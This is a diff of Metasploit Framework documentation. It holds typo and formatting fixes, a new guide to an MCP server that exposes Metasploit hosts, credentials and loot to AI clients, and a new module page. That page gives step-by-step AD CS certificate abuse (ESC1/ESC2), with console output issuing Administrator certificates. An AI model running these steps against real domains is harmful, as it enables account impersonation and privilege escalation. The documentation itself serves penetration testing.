-cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', 1))
-cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', 1))
+target_host = datastore['RHOST']
+cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid, domain: target_host, path: '/'))
+cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', '1', domain: target_host, path: '/'))
+cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', '1', domain: target_host, path: '/'))
 
 res = send_request_cgi({
   'method' => 'GET',

docs/metasploit-framework.wiki/How-to-parse-an-HTTP-response.md

@@ -64,7 +64,7 @@ Consider the following example as your HTML response:
 		<div id="french">Bonjour</div>
 	</div>
 </body>
-<html>
+</html>
 ```
 
 **Basic usage of #at**

docs/metasploit-framework.wiki/How-to-use-Metasploit-MCP-Server.md

@@ -0,0 +1,366 @@
+The Metasploit MCP Server (`msfmcpd`) provides AI applications with secure, structured access to Metasploit Framework data through the [Model Context Protocol](https://modelcontextprotocol.io/) (MCP). It acts as a middleware layer between AI clients (such as Claude, Cursor, or custom agents) and Metasploit, exposing 8 standardized tools for querying reconnaissance data and searching modules.
+
+This initial implementation is **read-only**. Only tools that query data (modules, hosts, services, vulnerabilities, etc.) are available. Tools for module execution, session interaction, and database modifications will be added in a future iteration.
+
+## Architecture
+
+```mermaid
+flowchart TD
+    ai_app["AI Application<br>(Claude, Cursor, etc.)"]
+
+    subgraph msfmcp_server["MsfMcp Server"]
+        mcp_layer["MCP Layer (8 Tools)<br>Input Validation / Rate Limiting / Response Transformation"]
+        rpc_manager["RPC Manager<br>Auto-detect / Auto-start / Lifecycle Management"]
+        api_client["Metasploit API Client<br>MessagePack RPC (port 55553) / JSON-RPC (port 8081)<br>Session Management"]
+
+        mcp_layer --> rpc_manager
+        rpc_manager --> api_client
+    end
+
+    msf["Metasploit Framework<br>(msfrpcd)"]
+
+    ai_app -- "MCP Protocol (stdio or HTTP)<br>JSON-RPC 2.0" --> mcp_layer
+    api_client -- "HTTP/HTTPS" --> msf
+```
+
+## Quick Start
+
+The simplest way to start the MCP server is with no arguments:
+
+```
+./msfmcpd
+```
+
+The server automatically detects whether a Metasploit RPC server is already running on the configured port. If not, it starts one automatically with randomly generated credentials.
+
+To use specific credentials:
+
+```
+./msfmcpd --user your_username --password your_password
+```
+
+## Configuration
+
+### Configuration File
+
+Copy the example configuration and edit it:
+
+```
+cp config/mcp_config.yaml.example config/mcp_config.yaml
+```
+
+A MessagePack RPC configuration looks like this:
+
+```yaml
+msf_api:
+  type: messagepack
+  host: localhost
+  port: 55553
+  ssl: true
+  endpoint: /api/
+  user: msfuser
+  password: CHANGEME
+  auto_start_rpc: true
+
+mcp:
+  transport: stdio
+
+rate_limit:
+  enabled: true
+  requests_per_minute: 60
+  burst_size: 10
+
+logging:
+  enabled: false
+  level: INFO
+  log_file: msfmcp.log
+```
+
+For JSON-RPC with bearer token authentication, use the JSON-RPC example instead:
+
+```
+cp config/mcp_config_jsonrpc.yaml.example config/mcp_config.yaml
+```
+
+### Command-Line Options
+
+```
+./msfmcpd --help
+
+Options:
+  --config PATH                Path to configuration file
+  --enable-logging             Enable file logging with sanitization
+  --log-file PATH              Log file path (overrides config file)
+  --user USER                  MSF API username (for MessagePack auth)
+  --password PASS              MSF API password (for MessagePack auth)
+  --no-auto-start-rpc          Disable automatic RPC server startup
+  --mcp-transport TRANSPORT    MCP server transport type ('stdio' or 'http')
+  -h, --help                   Show this help message
+  -v, --version                Show version information
+```
+
+### Environment Variable Overrides
+
+All configuration settings can be overridden by environment variables:
+
+| Variable | Description |
+|---|---|
+| `MSF_API_TYPE` | Connection type (`messagepack` or `json-rpc`) |
+| `MSF_API_HOST` | Metasploit RPC API host |
+| `MSF_API_PORT` | Metasploit RPC API port |
+| `MSF_API_SSL` | Use SSL for Metasploit RPC API (`true` or `false`) |
+| `MSF_API_ENDPOINT` | Metasploit RPC API endpoint |
+| `MSF_API_USER` | RPC API username (for MessagePack auth) |
+| `MSF_API_PASSWORD` | RPC API password (for MessagePack auth) |
+| `MSF_API_TOKEN` | RPC API token (for JSON-RPC auth) |
+| `MSF_AUTO_START_RPC` | Auto-start RPC server (`true` or `false`) |
+| `MSF_MCP_TRANSPORT` | MCP transport type (`stdio` or `http`) |
+| `MSF_MCP_HOST` | MCP server host (for HTTP transport) |
+| `MSF_MCP_PORT` | MCP server port (for HTTP transport) |
+
+Example using environment variables:
+
+```
+MSF_API_HOST=192.168.33.44 ./msfmcpd --config ./config/mcp_config.yaml
+```
+
+## Automatic RPC Server Management
+
+When using MessagePack RPC on localhost, the MCP server can automatically manage the Metasploit RPC server lifecycle. This is enabled by default.
+
+### How It Works
+
+1. **Detection**: On startup, the MCP server probes the configured RPC port to check if a server is already running.
+2. **Auto-start**: If no server is detected, it spawns the `msfrpcd` executable as a child process.
+3. **Credentials**: If no username and password are provided, random credentials are generated automatically and used for both the RPC server and client authentication.
+4. **Wait**: After starting, it polls the port until the RPC server becomes available (timeout: 30 seconds).
+5. **Shutdown**: When the MCP server shuts down (via Ctrl+C or SIGTERM), it cleans up the managed RPC process.
+
+**Note**: If an RPC server is already running, credentials must be provided via `--user`/`--password`, config file, or environment variables to authenticate with it.
+
+### Database Support
+
+The auto-started RPC server creates a framework instance with database support enabled by default. If the database is not running when the RPC server starts, a warning is displayed:
+
+```
+[WARNING] Database is not available. Some MCP tools that rely on the database will not work.
+[WARNING] Start the database and restart the MCP server to enable full functionality.
+```
+
+Tools that query the database (`msf_host_info`, `msf_service_info`, `msf_vulnerability_info`, `msf_note_info`, `msf_credential_info`, `msf_loot_info`) require a running database. To initialize and start the database:
+
+```
+msfdb init
+msfdb start
+```
+
+Then restart the MCP server.
+
+### Disabling Auto-Start
+
+Auto-start can be disabled in three ways:
+
+- CLI flag: `--no-auto-start-rpc`
+- Config file: `auto_start_rpc: false` in the `msf_api` section
+- Environment variable: `MSF_AUTO_START_RPC=false`
+
+Auto-start is also not available when:
+
+- The API type is `json-rpc` (requires SSL certificates and a web server)
+- The host is a remote address (cannot start a server on a remote machine)
+
+When auto-start is disabled and no RPC server is running, you must start `msfrpcd` manually:
+
+```
+msfrpcd -U your_username -P your_password -p 55553
+```
+
+## MCP Tools
+
+The server exposes 8 tools to AI applications via the MCP protocol.
+
+### msf_search_modules
+
+Search for Metasploit modules by keywords, CVE IDs, or module names.
+
+- `query` (string, required): Search terms (e.g., `windows smb`, `CVE-2017-0144`)
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+### msf_module_info
+
+Get detailed information about a specific Metasploit module.
+
+- `type` (string, required): Module type (`exploit`, `auxiliary`, `post`, `payload`, `encoder`, `nop`)
+- `name` (string, required): Module path (e.g., `windows/smb/ms17_010_eternalblue`)
+
+Returns complete module details including options, targets, references, and authors.
+
+### msf_host_info
+
+Query discovered hosts from the Metasploit database.
+
+- `workspace` (string, optional): Workspace name (default: `default`)
+- `addresses` (string, optional): Filter by IP/CIDR (e.g., `192.168.1.0/24`)
+- `only_up` (boolean, optional): Only return alive hosts (default: false)
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+### msf_service_info
+
+Query discovered services on hosts.
+
+- `workspace` (string, optional): Workspace name
+- `names` (string, optional): Filter by service names, comma-separated (e.g., `http`, `ldap,ssh`)
+- `host` (string, optional): Filter by host IP
+- `ports` (string, optional): Filter by port or range (e.g., `80,443` or `1-1024`)
+- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
+- `only_up` (boolean, optional): Only return running services (default: false)
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+### msf_vulnerability_info
+
+Query discovered vulnerabilities.
+
+- `workspace` (string, optional): Workspace name
+- `names` (array of strings, optional): Filter by vulnerability names (exact, case-sensitive module names)
+- `host` (string, optional): Filter by host IP
+- `ports` (string, optional): Filter by port or range
+- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+### msf_note_info
+
+Query notes stored in the database.
+
+- `workspace` (string, optional): Workspace name
+- `type` (string, optional): Filter by note type (e.g., `ssl.certificate`, `smb.fingerprint`)
+- `host` (string, optional): Filter by host IP
+- `ports` (string, optional): Filter by port or range
+- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+### msf_credential_info
+
+Query discovered credentials.
+
+- `workspace` (string, optional): Workspace name
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+### msf_loot_info
+
+Query collected loot (files, data dumps).
+
+- `workspace` (string, optional): Workspace name
+- `limit` (integer, optional): Max results (1-1000, default: 100)
+- `offset` (integer, optional): Pagination offset (default: 0)
+
+## Integration with AI Applications
+
+Add the MCP server to your AI application configuration. The exact format depends on the client.
+
+### Claude Desktop / Cursor
+
+```json
+{
+  "mcpServers": {
+    "metasploit": {
+      "command": "/path/to/metasploit-framework/msfmcpd",
+      "args": [
+        "--config",
+        "/path/to/config/mcp_config.yaml"
+      ],
+      "env": {}
+    }
+  }
+}
+```
+
+### Using RVM
+
+If you use RVM to manage Ruby versions, specify the full path to RVM so the correct Ruby and gemset are used:
+
+```json
+{
+  "mcpServers": {
+    "metasploit": {
+      "command": "/your/home_dir/.rvm/bin/rvm",
+      "args": [
+        "in",
+        "/path/to/metasploit-framework",
+        "do",
+        "./msfmcpd",
+        "--config",
+        "config/mcp_config.yaml"
+      ]
+    }
+  }
+}
+```
+
+## Security Considerations
+
+### Input Validation
+
+All tool parameters are validated against strict JSON schemas. IP addresses are validated using Ruby's `IPAddr` class with CIDR support, workspace names are restricted to alphanumeric characters plus underscore/hyphen, port ranges are validated (1-65535), and search queries are limited to 500 characters.
+
+### Credential Management
+
+Configuration files should use `chmod 600` permissions. Credentials are transmitted securely to the Metasploit Framework API and are never cached or logged by the MCP server.
+
+### Rate Limiting
+
+The server applies rate limiting to all MCP tools using a token bucket algorithm. Default: 60 requests per minute with a burst of 10 requests. This is configurable in the `rate_limit` section of the configuration file.
+
+### Logging
+
+Logging is disabled by default. When enabled (via `--enable-logging` or config), sensitive data (passwords, tokens, API keys) is automatically redacted. Log files should be protected with `chmod 600`.
+
+### Error Handling
+
+Stack traces are never exposed to clients. Error messages are sanitized to avoid leaking credentials. Metasploit API errors are wrapped in the MCP error format.
+
+## Testing with MCP Inspector
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. It runs directly through `npx`:
+
+```
+npx @modelcontextprotocol/inspector
+```
+
+## Troubleshooting
+
+### Connection Refused or Timeout
+
+1. Verify the RPC daemon is running: `ps aux | grep msfrpcd`
+2. Check the port is listening: `netstat -an | grep 55553`
+3. Test connectivity: `curl -k -v https://localhost:55553/api/`
+
+### Authentication Failures
+
+For MessagePack RPC, verify the username and password in your configuration file or CLI arguments. For JSON-RPC, verify the bearer token is valid and has not expired.
+
+### Database Not Available
+
+If database-dependent tools return errors, ensure the database is running:
+
+```
+msfdb init
+msfdb start
+```
+
+Then restart the MCP server.
+
+### Rate Limit Exceeded
+
+Increase the rate limit in your configuration file:
+
+```yaml
+rate_limit:
+  requests_per_minute: 120
+  burst_size: 20
+```

docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md

@@ -14,7 +14,7 @@ Metasploit currently provides multiple options for configuring target details:
 
 Configuring this amount of options is cumbersome and time consuming on a per module basis. 
 
-Although it is is possible to globally setting common values with the `setg` command - and to individually override the ports on a per module basis, it is still an arduous task:
+Although it is possible to globally setting common values with the `setg` command - and to individually override the ports on a per module basis, it is still an arduous task:
 
 ```
 setg RHOSTS x.x.x.x

docs/metasploit-framework.wiki/Module-Reference-Identifiers.md

@@ -1,26 +1,29 @@
 ## On this page
-* [List of supported reference identifiers](#list-of-supported-reference-identifiers)
-* [Code example of references in a module](#code-example-of-references-in-a-module)
+- [On this page](#on-this-page)
+- [List of supported reference identifiers](#list-of-supported-reference-identifiers)
+- [Code example of references in a module](#code-example-of-references-in-a-module)
 
 
 A reference in a Metasploit module is a source of information related to the module. This can be a link to the vulnerability advisory, a news article, a blog post about a specific technique the module uses, a specific tweet, etc. The more you have the better. However, you should not use this as a form of advertisement.
 
 ## List of supported reference identifiers 
 
-ID  | Source | Code Example
-------------- | ------------- | -------------
-CVE  | cvedetails.com | ```['CVE', '2014-9999']```
-CWE | cwe.mitre.org | ```['CWE', '90']```
-BID | securityfocus.com | ```['BID', '1234']```
-MSB | technet.microsoft.com | ```['MSB', 'MS13-055']```
-EDB | exploit-db.com | ```['EDB', '1337']```
-US-CERT-VU | kb.cert.org | ```['US-CERT-VU', '800113']```
-ZDI | zerodayinitiative.com | ```['ZDI', '10-123']```
-WPVDB | wpvulndb.com | ```['WPVDB', '7615']```
-PACKETSTORM | packetstormsecurity.com | ```['PACKETSTORM', '132721']```
-GHSA | github.com/advisories or github.com/owner/repo/security/advisories | ```['GHSA', 'xxxx-xxxx-xxxx']``` or ```['GHSA', 'xxxx-xxxx-xxxx', 'owner/repo']```
-URL | anything | ```['URL', 'http://example.com/blog.php?id=123']```
-AKA (_deprecated_*) | anything | ~~`['AKA', 'shellshock']`~~
+| ID                  | Source                                                             | Code Example                                                                       |
+| ------------------- | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------- |
+| CVE                 | cvedetails.com                                                     | ```['CVE', '2014-9999']```                                                         |
+| CWE                 | cwe.mitre.org                                                      | ```['CWE', '90']```                                                                |
+| BID                 | securityfocus.com                                                  | ```['BID', '1234']```                                                              |
+| MSB                 | technet.microsoft.com                                              | ```['MSB', 'MS13-055']```                                                          |
+| EDB                 | exploit-db.com                                                     | ```['EDB', '1337']```                                                              |
+| US-CERT-VU          | kb.cert.org                                                        | ```['US-CERT-VU', '800113']```                                                     |
+| ZDI                 | zerodayinitiative.com                                              | ```['ZDI', '10-123']```                                                            |
+| WPVDB               | wpvulndb.com                                                       | ```['WPVDB', '7615']```                                                            |
+| PACKETSTORM         | packetstormsecurity.com                                            | ```['PACKETSTORM', '132721']```                                                    |
+| GHSA                | github.com/advisories or github.com/owner/repo/security/advisories | ```['GHSA', 'xxxx-xxxx-xxxx']``` or ```['GHSA', 'xxxx-xxxx-xxxx', 'owner/repo']``` |
+| OSV                 | osv.dev                                                            | ```['OSV', 'GHSA-xxxx-xxxx-xxxx']```                                               |
+| ATT&CK              | attack.mitre.org                                                   | ```['ATT&CK', 'T1190']```                                                          |
+| URL                 | anything                                                           | ```['URL', 'http://example.com/blog.php?id=123']```                                |
+| AKA (_deprecated_*) | anything                                                           | ~~`['AKA', 'shellshock']`~~                                                        |
 
 > **Good to know**    
 > AKA names for modules are no longer stored as a reference identifier, but rather in the `Notes` metadata field as shown in the example below.
@@ -42,8 +45,10 @@ class MetasploitModule < Msf::Exploit::Remote
         'License' => MSF_LICENSE,
         'Author' => [ 'Unknown' ],
         'References' => [
-          [ 'CVE', '2014-9999' ],
+          ['CVE', '2014-9999'],
           ['BID', '1234'],
+          ['GHSA', 'xxxx-xxxx-xxxx'],               # global advisory
+          ['GHSA', 'xxxx-xxxx-xxxx', 'owner/repo'], # repository-scoped advisory
           ['URL', 'http://example.com/blog.php?id=123']
         ],
         'Platform' => 'win',

docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md

@@ -444,7 +444,7 @@ Now edit the `proxychains` configuration file located at `/etc/proxychains.conf`
 socks5 127.0.0.1 1080
 ```
 
-The final final should look something like this:
+The final file should look something like this:
 
 ```ini
 # proxychains.conf  VER 3.1
@@ -567,7 +567,7 @@ index.html             100%[===========================>]  57.34K  --.-KB/s    i
 ```
 
 ### Scanning
-For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
+For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UDP traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
 
 For Nmap and Zenmap, the below example shows the commands can be used. It is best to be selective on ports to scan since scanning through the proxy tunnel can be slow.
 

docs/metasploit-framework.wiki/Running-Private-Modules.md

@@ -37,8 +37,6 @@ For full details:
 If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
 
 ```bash
-mkdir -p $HOME/.msf4/modules/exploits/test
-curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
 todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
 todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

docs/metasploit-framework.wiki/Writing-External-GoLang-Modules.md

@@ -17,16 +17,16 @@ Contributing modules in [GO](https://golang.org/) can be achieved in a few simpl
 import "metasploit/module"
 func main() {
   metadata := &module.Metadata{
-    Name: "<module name",
+    Name: "<module name>",
     Description: "<describe>",
     Authors: []string{"<author 1>", "<author 2>"},
-    Date: "<date module written",
+    Date: "<date module written>",
     Type:"<module type>",
     Privileged:  <true|false>,
     References:  []module.Reference{},
     Options: map[string]module.Option{	
-      "<option 1":     {Type: "<type>", Description: "<description>", Required: <true|false>, Default: "<default>"},		
-      "<option 2":     {Type: "<type>", Description: "<description>", Required: <true|false>, Default: "<default>"},
+      "<option 1>":     {Type: "<type>", Description: "<description>", Required: <true|false>, Default: "<default>"},		
+      "<option 2>":     {Type: "<type>", Description: "<description>", Required: <true|false>, Default: "<default>"},
   }}
 
   module.Init(metadata, <the entry method to your module>)

docs/metasploit-framework.wiki/Writing-External-Metasploit-Modules.md

@@ -151,7 +151,7 @@ Run
     "id": {"type": "string"},
     "method": {"enum": ["run"]},
     "params": {
-      "type": "object"
+      "type": "object",
       "additionalProperties": false,
       "patternProperties": {
         "^[^=]*$": {
@@ -181,7 +181,7 @@ Run
     "id": {"type": "string"},
     "result": {
       "type": "object",
-      "required": ["message"]
+      "required": ["message"],
       "properties": {
         "message": {"type": "string"},
         "return": {"type": "string"}

docs/navigation.rb

@@ -448,6 +448,9 @@ NAVIGATION_CONFIG = [
           {
             path: 'How-to-use-Metasploit-with-ngrok.md'
           },
+          {
+            path: 'How-to-use-Metasploit-MCP-Server.md'
+          },
         ]
       },
     ]

documentation/modules/auxiliary/admin/http/web_enrollment_cert.md

@@ -0,0 +1,485 @@
+## Vulnerable Application
+This module makes authenticated requests to an Active Directory Certificate Services Web enrollment portal to gain
+a list of available templates and/or generate certificates based on the available templates.
+This is the same basic action as `auxiliary/server/relay/esc8` but rather then relaying NTLM credentials, we are
+authenticating with credentials we have.
+
+## Verification Steps
+
+### NTLM
+1. Install and configure the application
+    * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
+2. Start `msfconsole`
+2. Do: `use auxiliary/admin/http/web_enrollment_cert`
+3. Set the `RHOSTS` option to the AD CS Web Enrollment server
+4. Set the `HTTP::Auth` option to `ntlm`
+4. Set the `HttpUsername` option to a valid user
+4. Set the `HttpPassword` option to a valid user password
+4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings.
+
+### Kerberos
+1. Install and configure the application
+    * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
+2. Start `msfconsole`
+2. Do: `use auxiliary/admin/http/web_enrollment_cert`
+3. Set the `RHOSTS` option to the AD CS Web Enrollment server
+4. Set the `HTTP::Auth` option to `kerberos`
+5. Set the `DOMAIN` option to the FQDN
+6. Set the `DomainControllerRhost` if it is not available through DNS
+4. Set the `HttpUsername` option to a valid user
+4. Set the `HttpPassword` option to a valid user password
+4. Set `MODE`, `CERT_TEMPLATE`, and `TARGETURI` to the desired settings.
+
+### ESC1 
+1. Install and configure the application with ESC1 vulnerable template
+   * https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
+2. Follow steps above based on authentication type
+4. Set `MODE` to `SPECIFIC_TEMPLATE`
+3. Set `CERT_TEMPLATE` to a template vulnerable to ESC1
+4. Set `ALT_UPN` to the desired User
+5. Set `ALT_SID` to the desired SID, if necessary
+6. Set `ALT_DNS` if required
+
+### ESC2
+1. Install and configure the application with ESC2 vulnerable template
+    * https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html
+2. Follow steps above based on authentication type
+4. Set `MODE` to `SPECIFIC_TEMPLATE`
+3. Set `CERT_TEMPLATE` to a template vulnerable to ESC2
+4. Set `ON_BEHALF_OF` to the desired User
+5. Set `PFX` to the desired certificate file
+
+## Options
+
+### MODE
+The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment
+server. Must be one of the following options:
+
+* ALL: Enumerate all available certificate templates and then issue each of them
+* QUERY_ONLY: Enumerate all available certificate templates but do not issue any.  Not all certificate templates
+  available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
+  include `Machine` (AKA `Computer`) and `DomainController`
+* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
+
+### CERT_TEMPLATE
+The template to issue if MODE is SPECIFIC_TEMPLATE.
+
+## Scenarios
+
+### Windows 2019
+#### NTLM with MODE ALL
+```msf
+msf > use auxiliary/admin/http/web_enrollment_cert 
+msf auxiliary(admin/http/web_enrollment_cert) > set rhost 10.5.132.180
+rhost => 10.5.132.180
+msf auxiliary(admin/http/web_enrollment_cert) > set httpusername Administrator
+httpusername => Administrator
+msf auxiliary(admin/http/web_enrollment_cert) > set httppassword v3Mpassword
+httppassword => v3Mpassword
+msf auxiliary(admin/http/web_enrollment_cert) > set DOMAIN EXAMPLE
+DOMAIN => EXAMPLE
+msf auxiliary(admin/http/web_enrollment_cert) > set MODE ALL 
+MODE => ALL
+msf auxiliary(admin/http/web_enrollment_cert) > set HTTP::AUTH ntlm 
+HTTP::AUTH => ntlm
+msf auxiliary(admin/http/web_enrollment_cert) > show options
+
+Module options (auxiliary/admin/http/web_enrollment_cert):
+
+   Name          Current Setting  Required  Description
+   ----          ---------------  --------  -----------
+   ALT_DNS                        no        Alternative certificate DNS
+   ALT_SID                        no        Alternative object SID
+   ALT_UPN                        no        Alternative certificate UPN (format: USER@DOMAIN)
+   HttpPassword  v3Mpassword      no        The HTTP password to specify for authentication
+   HttpUsername  Administrator    no        The HTTP username to specify for authentication
+   MODE          ALL              yes       The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
+   ON_BEHALF_OF                   no        Username to request on behalf of (format: DOMAIN\USER)
+   PFX                            no        Certificate to request on behalf of
+   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
+                                            h, sapni, socks4, http, socks5
+   RHOSTS        10.5.132.180     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
+                                            metasploit.html
+   RPORT         80               yes       The target port (TCP)
+   SSL           false            no        Negotiate SSL/TLS for outgoing connections
+   TARGETURI     /certsrv/        yes       The URI for the cert server.
+   THREADS       1                yes       The number of concurrent threads (max one per host)
+   VHOST                          no        HTTP server virtual host
+
+
+   When MODE is SPECIFIC_TEMPLATE:
+
+   Name           Current Setting  Required  Description
+   ----           ---------------  --------  -----------
+   CERT_TEMPLATE                   no        The template to issue if MODE is SPECIFIC_TEMPLATE.
+
+
+View the full module info with the info, or info -d command.
+
+msf auxiliary(admin/http/web_enrollment_cert) > run
+[*] Retrieving available template list, this may take a few minutes
+[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
+[+] Available Certificates for EXAMPLE\\Administrator on : User, EFS, Administrator, EFSRecovery, ESC16_1, ESC2-Template, WebServer, SubCA, ESC1-Template
+[+] Certificate generated using template User and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template User saved to /home/tmoose/.msf4/loot/20260116142051_default_10.5.132.180_windows.ad.cs_263748.pfx
+[+] Certificate generated using template EFS and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template EFS saved to /home/tmoose/.msf4/loot/20260116142053_default_10.5.132.180_windows.ad.cs_150446.pfx
+[+] Certificate generated using template Administrator and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template Administrator saved to /home/tmoose/.msf4/loot/20260116142055_default_10.5.132.180_windows.ad.cs_586273.pfx
+[+] Certificate generated using template EFSRecovery and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template EFSRecovery saved to /home/tmoose/.msf4/loot/20260116142057_default_10.5.132.180_windows.ad.cs_077399.pfx
+[+] Certificate generated using template ESC16_1 and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template ESC16_1 saved to /home/tmoose/.msf4/loot/20260116142101_default_10.5.132.180_windows.ad.cs_832421.pfx
+[+] Certificate generated using template ESC2-Template and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template ESC2-Template saved to /home/tmoose/.msf4/loot/20260116142102_default_10.5.132.180_windows.ad.cs_548200.pfx
+[+] Certificate generated using template WebServer and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template WebServer saved to /home/tmoose/.msf4/loot/20260116142103_default_10.5.132.180_windows.ad.cs_191863.pfx
+[+] Certificate generated using template SubCA and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template SubCA saved to /home/tmoose/.msf4/loot/20260116142105_default_10.5.132.180_windows.ad.cs_300086.pfx
+[+] Certificate generated using template ESC1-Template and EXAMPLE\\Administrator
+[+] Certificate for EXAMPLE\\Administrator using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116142106_default_10.5.132.180_windows.ad.cs_017489.pfx
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+
+msf auxiliary(admin/http/web_enrollment_cert) > 
+
+```
+
+#### Kerberos MODE:ALL
+```msf
+msf auxiliary(admin/http/web_enrollment_cert) > show options
+
+Module options (auxiliary/admin/http/web_enrollment_cert):
+
+   Name          Current Setting  Required  Description
+   ----          ---------------  --------  -----------
+   ALT_DNS                        no        Alternative certificate DNS
+   ALT_SID                        no        Alternative object SID
+   ALT_UPN                        no        Alternative certificate UPN (format: USER@DOMAIN)
+   HttpPassword  v3Mpassword      no        The HTTP password to specify for authentication
+   HttpUsername  Administrator    no        The HTTP username to specify for authentication
+   MODE          ALL              yes       The issue mode. (Accepted: ALL, QUERY_ONLY, SPECIFIC_TEMPLATE)
+   ON_BEHALF_OF                   no        Username to request on behalf of (format: DOMAIN\USER)
+   PFX                            no        Certificate to request on behalf of
+   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
+                                            h, sapni, socks4, http, socks5
+   RHOSTS        10.5.132.180     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
+                                            metasploit.html
+   RPORT         80               yes       The target port (TCP)
+   SSL           false            no        Negotiate SSL/TLS for outgoing connections
+   TARGETURI     /certsrv/        yes       The URI for the cert server.
+   THREADS       1                yes       The number of concurrent threads (max one per host)
+   VHOST                          no        HTTP server virtual host
+
+
+   When MODE is SPECIFIC_TEMPLATE:
+
+   Name           Current Setting  Required  Description
+   ----           ---------------  --------  -----------
+   CERT_TEMPLATE                   no        The template to issue if MODE is SPECIFIC_TEMPLATE.
+
+
+View the full module info with the info, or info -d command.
+
+msf auxiliary(admin/http/web_enrollment_cert) > show advanced
+
+Module advanced options (auxiliary/admin/http/web_enrollment_cert):
+
+   Name                     Current Setting                    Required  Description
+   ----                     ---------------                    --------  -----------
+   DOMAIN                   example.com                        yes       The domain to use for Windows authentication (Must be FQDN
+                                                                          if HTTP:Auth is Kerberos)
+   DigestAlgorithm          SHA256                             yes       The digest algorithm to use (Accepted: SHA1, SHA256)
+   DigestAuthIIS            true                               no        Conform to IIS, should work for most servers. Only set to
+                                                                         false for non-IIS servers
+   FingerprintCheck         true                               no        Conduct a pre-exploit fingerprint verification
+   HTTP::Auth               kerberos                           yes       The Authentication mechanism to use (Accepted: auto, ntlm,
+                                                                          kerberos, plaintext, none)
+   HttpClientTimeout                                           no        HTTP connection and receive timeout
+   HttpRawHeaders                                              no        Path to ERB-templatized raw headers to append to existing
+                                                                         headers
+   HttpTrace                false                              no        Show the raw HTTP requests and responses
+   HttpTraceColors          red/blu                            no        HTTP request and response colors for HttpTrace (unset to d
+                                                                         isable)
+   HttpTraceHeadersOnly     false                              no        Show HTTP headers only in HttpTrace
+   SSLKeyLogFile                                               no        The SSL key log file
+   SSLServerNameIndication                                     no        SSL/TLS Server Name Indication (SNI)
+   SSLVersion               Auto                               yes       Specify the version of SSL/TLS to be used (Auto, TLS and S
+                                                                         SL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3
+                                                                         , TLS1, TLS1.1, TLS1.2)
+   ShowProgress             true                               yes       Display progress messages during a scan
+   ShowProgressPercent      10                                 yes       The interval in percent that progress should be shown
